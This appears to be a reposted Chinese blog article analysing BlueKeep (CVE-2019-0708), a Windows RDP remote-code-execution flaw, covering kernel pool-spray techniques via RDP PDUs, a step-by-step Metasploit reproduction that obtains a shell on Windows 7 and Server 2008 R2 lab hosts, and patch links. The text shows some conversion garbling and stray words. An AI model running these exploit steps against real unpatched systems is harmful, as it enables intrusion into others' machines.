Windows RDP的RCE漏洞分析和复现（CVE-2019-0708）

时间 2019-11-06

标签 windows rdp rce 漏洞分析复现 cve 栏目 Windows 繁體版

原文原文链接

0x00 漏洞描述

Windows系列服务器于2019年5月15号，被爆出高危漏洞，该漏洞影响范围较广如：windows200三、windows200八、windows2008 R二、windows xp系统都会遭到攻击，该服务器漏洞利用方式是经过远程桌面端口3389，RDP协议进行攻击的。这个漏洞是今年来讲危害严重性最大的漏洞，跟以前的勒索，永恒之蓝病毒差很少。CVE-2019-0708漏洞是经过检查用户的身份认证，致使能够绕过认证，不用任何的交互，直接经过rdp协议进行链接发送恶意代码执行命令到服务器中去。若是被攻击者利用，会致使服务器入侵，中病毒，像WannaCry 永恒之蓝漏洞同样大规模的感染。2019年9月7日晚上凌晨1点左右，metaspolit更新了漏洞利用程序python

在2019年5月，微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新，该漏洞也称为“BlueKeep”，漏洞存在于远程桌面服务（RDS）的代码中。此漏洞是预身份验证，无需用户交互，所以具备潜在武器化蠕虫性性漏洞利用的危险。若是成功利用此漏洞，则可使用“系统”权限执行任意代码。Microsoft安全响应中心的建议代表这个漏洞也可能会成为一种蠕虫攻击行为，相似于Wannacry和EsteemAudit等攻击行为。因为此漏洞的严重性及其对用户的潜在影响，微软采起了罕见的预警步骤，为再也不受支持的Windows XP操做系统发布补丁，以保护Windows用户。git

0x01 漏洞影响

该漏洞影响旧版本的Windows系统，包括：
Windows 七、Windows Server 2008 R二、Windows Server 200八、Windows 200三、Windows XP。
Windows 8和Windows 10及以后版本不受此漏洞影响。github

0x02 cve_2019_0708_bluekeep_rce.rb 介绍

此PR为CVE-2019-0708（又名BlueKeep）添加了一个漏洞利用模块，该模块经过RDP利用远程Windows内核释放后使用漏洞。rdp termdd.sys驱动程序未正确处理绑定到仅限内部的通道ms_t120，从而容许格式错误的断开链接提供程序指示消息致使释放后被使用。利用可控制的数据和远程非分页面池堆喷射，使用空闲信道的间接调用小工具来实现任意代码执行。shell

这个模块最初由@zerosum0x0和@ryhanson开发，而后由@oj、@zerosteiner、@rickoates、@wvu-r七、@bwatters-r七、@wchen-r七、@tsellers-r七、@todb-r7和其余人进一步开发。为了利用metasploit中的rdp和其余库加强功能，该模块从python外部模块移植到本机ruby模块。果您但愿检查并将其与当前实现进行比较，则原始Python模块位于提交历史记录中。windows

该模块当前以64位版本的Windows 7和Windows Server 2008 R2为目标。对于Windows Server 2008 R2，须要修改注册表项以启用经过rdpsnd通道进行堆喷射，但仍有其余可能使用在全部Windows操做系统上默认启用的备用通道。api

因为用户须要提供额外的目标信息或有使目标主机崩溃的风险，该模块目前被列为手动模块。该模块实现了一个默认的仅指向的目标选项，该选项只检查易受攻击的主机，并显示有关特定目标操做系统的一些初始信息，但用户须要根据辅助侦察指定更精确的目标或直到进一步改进模块能够在运行时更准确地肯定目标内核内存布局。数组

有针对没有打补丁的，裸机、VirtualBox、VMWare和Hyper-V的特定目标，尽管目标环境中可能还有其余变量，这些变量会额外转移基础地址以进行修饰。缓存

0x03 漏洞分析

1. PDU

根据MS-RDPBCGR（远程桌面协议：链接和远程处理）文档，位图缓存PDU的全名是TS_BITMAPCACHE_PERSISTENT_LIST_PDU，密钥列表PDU数据被嵌入在永久密钥列表PDU中。永久密钥列表PDU是在客户端从客户端发送到服务器的RDP链接序列PDU安全

RDP链接序列的链接完成阶段，如图1所示。ruby

图1.远程桌面协议（RDP）链接顺序

永久密钥列表PDU报头是通用RDP PDU报头，其构造以下，如图2所示：tpktHeader（4字节）+ x224Data（3字节）+ mcsSDrq（变量）+ securityHeader（变量）。

图2.客户端持久密钥列表PDU

根据MS-RDPBCGR文档，TS_BITMAPCACHE_PERSISTENT_LIST_PDU是一个结构，其中包含从先前会话中发送的高速缓存位图中保存的高速缓存位图密钥列表。如图3所示。

图3.持久密钥列表PDU数据（BITMAPCACHE PERSISTENT LIST PDU）

根据设计，位图缓存PDU用于RDP客户端通知服务器它具备与密钥相关联的位图的本地副本，这代表服务器不须要将位图从新发送到客户端。基于MS-RDPBCGR文档，Bitmap PDU有四个特征：

RDP服务器将分配内核池来存储缓存的位图键。
RDP服务器分配的内核池大小能够经过结构中的“WORD值”numEntriesCache X字段来控制，而BITMAPCACHE PERSISTENT中的totalEntriesCache X是RDP客户端的LIST结构。
位图缓存PDU能够合法地屡次发送，由于位图密钥能够在多个持久密钥列表PDU中发送，每一个PDU使用bBitMask字段中的标记来标记。
位图键的数量限制为169。

基于BITMAPCACHE PERSISTENT LIST PDU的这四个特性，若是能够绕过限制为169的位图键数量，那么就能够将任意数据写入内核。

2.如何使用PDU将数据写入内核

根据MS-RDPBCGR文档，正常解密的BITMAPCACHE PERSISTENT LIST PDU以下所示：

f2 00 -> TS_SHARECONTROLHEADER::totalLength = 0x00f2 = 242 bytes
17 00 -> TS_SHARECONTROLHEADER::pduType = 0x0017

0x0017

= 0x0010 | 0x0007

= TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

ef 03 -> TS_SHARECONTROLHEADER::pduSource = 0x03ef = 1007

ea 03 01 00 -> TS_SHAREDATAHEADER::shareID = 0x000103ea

00 -> TS_SHAREDATAHEADER::pad1

01 -> TS_SHAREDATAHEADER::streamId = STREAM_LOW (1)

00 00 -> TS_SHAREDATAHEADER::uncompressedLength = 0

2b -> TS_SHAREDATAHEADER::pduType2 =

PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST (43)

00 -> TS_SHAREDATAHEADER::generalCompressedType = 0

00 00 -> TS_SHAREDATAHEADER::generalCompressedLength = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[4] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[4] = 0

03 -> TS_BITMAPCACHE_PERSISTENT_LIST::bBitMask = 0x03

0x03

= 0x01 | 0x02

= PERSIST_FIRST_PDU | PERSIST_LAST_PDU

00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad2

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad3

TS_BITMAPCACHE_PERSISTENT_LIST::entries:

a3 1e 51 16 -> Cache 2, Key 0, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

48 29 22 78 -> Cache 2, Key 0, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

61 f7 89 9c -> Cache 2, Key 1, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

cd a9 66 a8 -> Cache 2, Key 1, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

在内核模块RDPWD.sys中，函数例程ShareClass :: SBC_HandlePersistentCacheList负责解析BITMAPCACHE PERSISTENT LIST PDU。当结构中的bBitMask字段被设置为位值0x01时，它指出当前PDU是PERSIST FIRST PDU。而后，SBC_HandlePersistentCacheList将调用WDLIBRT_MemAlloc来分配内核池（分配内核内存）以存储持久位图缓存键，如图4所示。值0x00表示当前PDU是PERSIST MIDDLE PDU。值0x02表示当前PDU是PERSIST LAST PDU。解析PERSIST MIDDLE PDU和PERSIST LAST PDU时，SBC_HandlePersistentCacheList会将位图缓存键复制到以前分配的内存中，如图5所示。

图4. SBC_HandlePersistentCacheList池分配和totalEntriesCacheLimit检查

图5. SBC_HandlePersistentCacheList复制位图缓存键

Windows 7 x86上的堆栈跟踪和SBC_HandlePersistentCacheList的TS_BITMAPCACHE_PERSISTENT_LIST结构的第二个参数如图6和图7所示。

图6. SBC_HandlePersistentCacheList堆栈跟踪

图7. TS_BITMAPCACHE_PERSISTENT_LIST结构做为SBC_HandlePersistentCacheList的第二个参数

如图4所示，bitmapCacheListPoolLen = 0xC *（总长度+4）和总长度= totalEntriesCache0 + totalEntriesCache1 + totalEntriesCache2 + totalEntriesCache3 + totalEntriesCache4。

基于此公式，咱们能够设置“WORD值”totalEntriesCache X = 0xffff，使bitmapCacheListPoolLen为最大值。可是，对于图8中显示的每一个totalEntriesCache X，都有一个totalEntriesCacheLimit检查.

totalEntriesCacheLimit X来自TS_BITMAPCACHE_CAPABILITYSET_REV2结构，该结构在经过RDPWD调用DCS_Init时在CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2函数中启动，如图8所示。这将在解析确认PDU时组合在CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2函数中，如图9所示。

图8. RDPWD！CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2

图9. RDPWD！CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2

CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2将服务器启动的NumCellCaches（0x03）和totalEntriesCacheLimit [0-4]（0x258,0x258,0x10000,0x0,0x0）与客户端请求NumCellCaches（0x03）和totalEntriesCache [0-4]（0x80000258,0x80000258,0x8000fffc，0x0）组合在一块儿，0x0），如图9中的edx和esi寄存器所示。

客户端能够控制NumCellCaches和totalEntriesCache [0-4]，如图10所示，但它们不能经过服务器启动的NumCellCaches（0x03）和totalEntriesCacheLimit [0-4] ]（0x258,0x258,0x10000,0x0,0x0）如图11所示。

图10. TS_BITMAPCACHE_CAPABILITYSET_REV2

图11. CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2函数

有了这些信息，咱们能够计算出最大bitmapCacheListPoolLen = 0xC *（0x10000 + 0x258 + 0x258 + 4）= 0xc3870，理论上能够控制内核池中的0x8 *（0x10000 + 0x258 + 0x258 + 4）= 0x825a0字节数据，如图所示在图12中。

图12.持久密钥列表PDU内存转储

可是，观察到并不是全部数据均可以由位图缓存列表池中的RDP客户端按预期被控制。每一个8字节受控数据之间存在4字节不受控制的数据（索引值），这对于shellcode存放是不太友好的。此外，0xc3870大小的内核池不能屡次分配，由于持久密钥列表PDU只能合法地发送一次。可是，仍然存在特定的统计特征，即内核池将在相同的内存地址处分配。此外，在位图缓存列表池分配以前老是有一个0x2b522c（在x86上）或0x2b5240（在x64上）内核大小的池，这对于堆分配很是有用，尤为是在x64上，如图13所示。

图13.持久密钥列表PDU统计特性

3.刷新Rect PDU

根据MS-RDPBCGR文档，刷新PDU会使RDP客户端请求服务器从新分配一个会话。该结构包括通用PDU头和图14中所示的refreshRectPduData（变量）。

图14.刷新Rect PDU数据

numberOfAreas字段是一个8位无符号整数，用于定义areasToRefresh字段中的包含Rectangle结构的数量。areaToRefresh字段是TS_RECTANGLE16结构的数组，如图15所示。

图15.包含Rectangle（TS_RECTANGLE16）

Refresh Rect PDU经过一系列“Inclusive Rectangles”操做通知服务器，以使服务器从新分配一个会话。基于默认通道，通道ID为0x03ea（服务器通道ID）。链接序列完成后，如图1所示，RDP服务器能够接收/解析刷新矩阵PDU，最重要的是，能够合法地屡次发送。虽然对于TS_RECTANGLE16结构仅限于8个字节，意味着RDP客户端只能控制8个字节，但仍然能够将任意数据写入内核。

4.使用Refresh Rect PDU将数据写入内核

正常解密的Refresh Rect PDU如图16所示。

图16.解密的Refresh Rect PDU

内核模块RDPWD.sys代码函数WDW_InvalidateRect负责解析Refresh Rect PDU，以下面的图17所示。

图17. RDPWD！WDW_InvalidateRect堆栈跟踪

如图18所示，WDW_InvalidateRect函数将解析Refresh Rect PDU流并从流中检索numberOfAreas字段做为循环计数。做为字节类型字段，numberOfAreas的最大值为0xFF，所以最大循环计数为0xFF。在循环中，WDW_InvalidateRect函数将得到TS_RECTANGLE16结构中的左，上，右和下字段，将它们放在堆栈中的结构中，并将其做为WDICART_IcaChannelInput的第 5 个参数。这里要提到的是，WDICART_IcaChannelInput的第6 个参数是常数0x808，咱们将展现它如何有效地实现堆喷。

图18. RDPWD！WDW_InvalidateRect函数

WDICART_IcaChannelInput最终将调用内核模块termdd.sys函数IcaChannelInputInternal。如图19所示，若是一系列条件检查为True，则函数IcaChannelInputInternal将调用ExAllocatePoolWithTag来分配inputSize_6th_para + 0x20大小的内核池。所以，当函数IcaChannelInputInternal由 RDPWD！WDW_InvalidateRect，inputSize_6th_para = 0x808调用时，内核池的大小为0x828。

图19. termdd！IcaChannelInputInternal ExAllocatePoolWithTag和memcpy

若是内核池分配成功，将调用memcpy将input_buffer_2复制到新分配的内核池内存。图20显示了当调用者是RDPWD！WDW_InvalidateRect时memcpy的参数。

图20. termdd！IcaChannelInputInternal memcpy windbg转储

有趣的是，函数memcpy的源地址来自RDPWD！WDW_InvalidateRect堆栈上的stRect结构，只有前3个DWORD在RDPWD！WDW_InvalidateRect中设置，如图21所示。剩余内存是堆栈上未初始化的内容，很容易致使信息泄露。此外，使用0x808大小的内存来存储12个字节的数据对于堆喷也是很友好的。

图21. RDPWD！WDW_InvalidateRect stRect结构集

使用此信息，当RDP客户端发送一个具备0xFF的numberOfAreas字段的Refresh Rect PDU时，RDP服务器将调用termdd！IcaChannelInputInternal 0xFF次。每一个termdd！IcaChannelInputInternal调用将分配0x828内核池内存并将8个字节的客户端控制的TS_RECTANGLE16结构复制到该内核池。所以，numberOfAreas字段为0xFF的一个Refresh Rect PDU将分配0xFF数量的0x828大小的内核池。理论上，若是RDP客户端发送刷新矩阵PDU 0x200次，则RDP服务器将分配大约0x20000的0x828大小的非分页内核池。考虑到0x828大小的内核池将与0x1000对齐，它们将跨越内核池的很是大的范围，同时，客户端控制的8个字节的数据将被复制到每一个0x1000内核池中固定的0x02c偏移量。如图22所示，咱们在内核中使用Refresh Rect PDU得到稳定的pool spray。

图22. RDPWD！WDW_InvalidateRect pool spray

有些状况下，当指针（在图23中表示为变量v14）被termdd！IcaQueueReadChannelRequest修改而且比较将为False时，不会调用ExAllocatePoolWithTag和memcpy，如图23所示，该路由将进入例程IcaCopyDataToUserBuffer，这将致使池分配不成功。可是，当屡次发送Refresh Rect PDU时，即便存在一些不成功的池分配，咱们仍然能够得到成功的内核池喷射。

此外，有些状况下一些内核池小号的RDP服务器使用完以后能够被释放，可是内核池的内容将不会被清零，使得咱们喷到内核有效的利用使用数据。

图23. termdd！IcaChannelInputInternal IcaCopyDataToUserBuffer

5.RDPDR客户端name请求PDU

根据MS-RDPEFS文档，RDPDR客户端名称请求PDU在[远程桌面协议：文件系统虚拟通道扩展]中指定，该扩展在名为RDPDR的静态虚拟通道上运行。MS-RDPEFS协议的目的是将访问从服务器重定向到客户端文件系统。客户端名称请求是从客户端发送到服务器的第二个PDU，如图24所示。

图24.文件系统虚拟通道扩展协议初始化

客户端名称请求PDU用于客户端将其机器名称发送到服务器，如图25所示。

图25.客户端名称请求（DR_CORE_CLIENT_NAME_REQ）

标头是四个字节RDPDR_HEADER，其中Component字段设置为RDPDR_CTYP_CORE，PacketId字段设置为PAKID_CORE_CLIENT_NAME。ComputerNameLen字段（4个字节）是一个32位无符号整数，它指定ComputerName字段中的字节数。ComputerName字段（变量）是ASCII或Unicode字符的可变长度数组，其格式由UnicodeFlag字段肯定。这是一个标识客户端计算机名称的字符串。

6. 使用RDPDR客户端name请求PDU将数据写入内核

关于RDPDR客户端名称请求PDU，客户端名称请求PDU能够合法地屡次发送，对于每一个请求，RDP服务器将分配内核池来存储该信息，最重要的是，PDU的内容和长度能够由RDP客户端彻底控制。这使它成为将数据写入内核内存的绝佳选择。

典型的RDPDR客户端名称请求PDU如图26所示。

图26.客户端名称请求内存转储

当RDP服务器接收RDPDR客户端名称请求PDU时，调用内核模块termdd.sys中的函数IcaChannelInputInternal以首先调度信道数据，而后将调用RDPDR模块来解析客户端名称请求PDU 的数据部分。客户端名称请求PDU的函数IcaChannelInputInternal应用与Refresh Rect PDU有相同的代码逻辑。它将调用ExAllocatePoolWithTag来分配带有标记TSic的内核内存，并使用memcpy将客户端名称请求数据复制到新分配的内核内存，如图27所示。

图27.客户端名称请求

到目前为止，咱们已经证实复制的数据内容和长度都由RDP客户端控制，而且客户端名称请求PDU能够合法地屡次发送。因为其灵活性和利用漏洞的特性，客户端名称请求PDU可用于回收UAF漏洞利用中的释放内核池，也可用于将shellcode写入内核池，甚至可使用将连续的客户端控制数据喷射到内核内存中。

如图28所示，咱们成功得到了稳定的池分配，并使用RDPDR客户端名称请求PDU将客户端控制的数据写入内核池。

图28.客户端名称请求稳定池分配

上面介绍了使用RDP PDU将数据写入内核的三种方法。

位图缓存PDU容许RDP服务器在0x2b5200大小的池分配以后分配0xc3870大小的内核池并将可控数据写入其中，但不能屡次执行0xc3870大小的内核池分配。
刷新Rect PDU能够喷射许多0x828大小的内核池，这些内核池是0x1000对齐的，并将8个可控字节写入每一个0x828大小的内核池中。

0x04 漏洞复现

1.测试环境：

攻击机:kali2019.2

靶机： win7 sp1 7601 和 win2008r2 sp1 english standard

Windows7 SP1下载地址:

ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/

win2008r2 sp1 下载地址：

http://download.microsoft.com/download/7/5/E/75EC4E54-5B02-42D6-8879-D8D3A25FBEF7/7601.17514.101119-1850_x64fre_server_eval_en-us-GRMSXEVAL_EN_DVD.iso

2.复现测试

(1).替换所需文件

cve_2019_0708_bluekeep_rce.rb 替换 /usr/share/metasploit-framework/modules/exploits/windows/rdp/ #若是没有RDP目录须要自检

rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb

rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

Kali下执行以下命令进行替换：

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/

cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/

cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/

（2）攻击window7 sp1漏洞复现

MSF下执行以下命令：

msfconsole

msf5>reload_all #从新加载全部模块

msf5 > search cve_2019_0708_bluekeep_rce

msf5>use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >info

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.1.7

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 1 #若是设置目标为3(set taget 3),可能会出现蓝屏现象，所以这里设置target 1(我这里是exis中的主机）

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

meterprter>shell

能够看到成功反弹win7sp1 系统shell,根据实际状况选择target（能够先测试3再测试2再测试1）

（2）攻击window 2008r2 sp1漏洞复现

须要修改注册表[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdp-tcp\fDisableCam]值修改成0(系统默认为1）

在MSF下执行以下命令：

msf5 > search cve_2019_0708_bluekeep_rce

msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > info

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.1.10

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rport 3389

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 2

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit

能够看到成功反弹出目标win2008 r2的shell,该漏洞有点鸡肋，目前测试时windows2008 r2 sp1 english版本且须要修改注册表才能成功利用。

0x05 漏洞修复建议

CVE-2019-0708漏洞修复补丁以及安全建议

有些windows2008系统打不了补丁的通常是数据中心版本，能够设置一下服务器，计算机右键属性-远程设置-仅容许运行使用网络基自己份验证的远程桌面的计算机链接（更安全）（N），在这行点勾，而后确认便可，能够临时的防止漏洞的攻击。

若是对补丁不知道该如何修复的，能够启用阿里云的端口安全策略，禁止掉3389远程端口，只容许本身的IP通讯便可。

1.Windows Server 2008 漏洞补丁系列下载地址

Windows Server 2008 32位系统:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x86_832cf179b302b861c83f2a92acc5e2a152405377.msu

Windows Server 2008 x64位系统:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x64_9236b098f7cea864f7638e7d4b77aa8f81f70fd6.msu

Windows Server 2008 R2 Itanium系统:

http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-ia64_fabc8e54caa0d31a5abe8a0b347ab4a77aa98c36.msu

Windows Server 2008 R2 x64系统:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu

Windows Server 2008 Itanium:

http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499180-ia64_805e448d48ab8b1401377ab9845f39e1cae836d4.msu

2.Windows Server 2003 漏洞补丁系列下载地址

Windows Server 2003 32位系统:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x86-custom-chs_4892823f525d9d532ed3ae36fc440338d2b46a72.exe

Windows Server 2003 64位系统:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-chs_f2f949a9a764ff93ea13095a0aca1fc507320d3c.exe

3. Windows XP 漏洞补丁系列下载地址

Windows XP SP3 32位系统:

http://download.windowsupdate.com/c/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-custom-chs_718543e86e06b08b568826ac13c05f967392238c.exe

Windows XP SP2 64位系统:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-enu_e2fd240c402134839cfa22227b11a5ec80ddafcf.exe

Windows XP SP3 for XPe:

http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-embedded-custom-chs_96da48aaa9d9bcfe6cd820f239db2fe96500bfae.exe

0x06 参考文献

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/

https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/

https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/

https://github.com/rapid7/metasploit-framework/pull/12283

https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961?from=groupmessage

https://mp.weixin.qq.com/s/6ROmesCqtfkLFYliwidcEwhttps://github.com/rapid7/metasploit-framework/pull/12283/files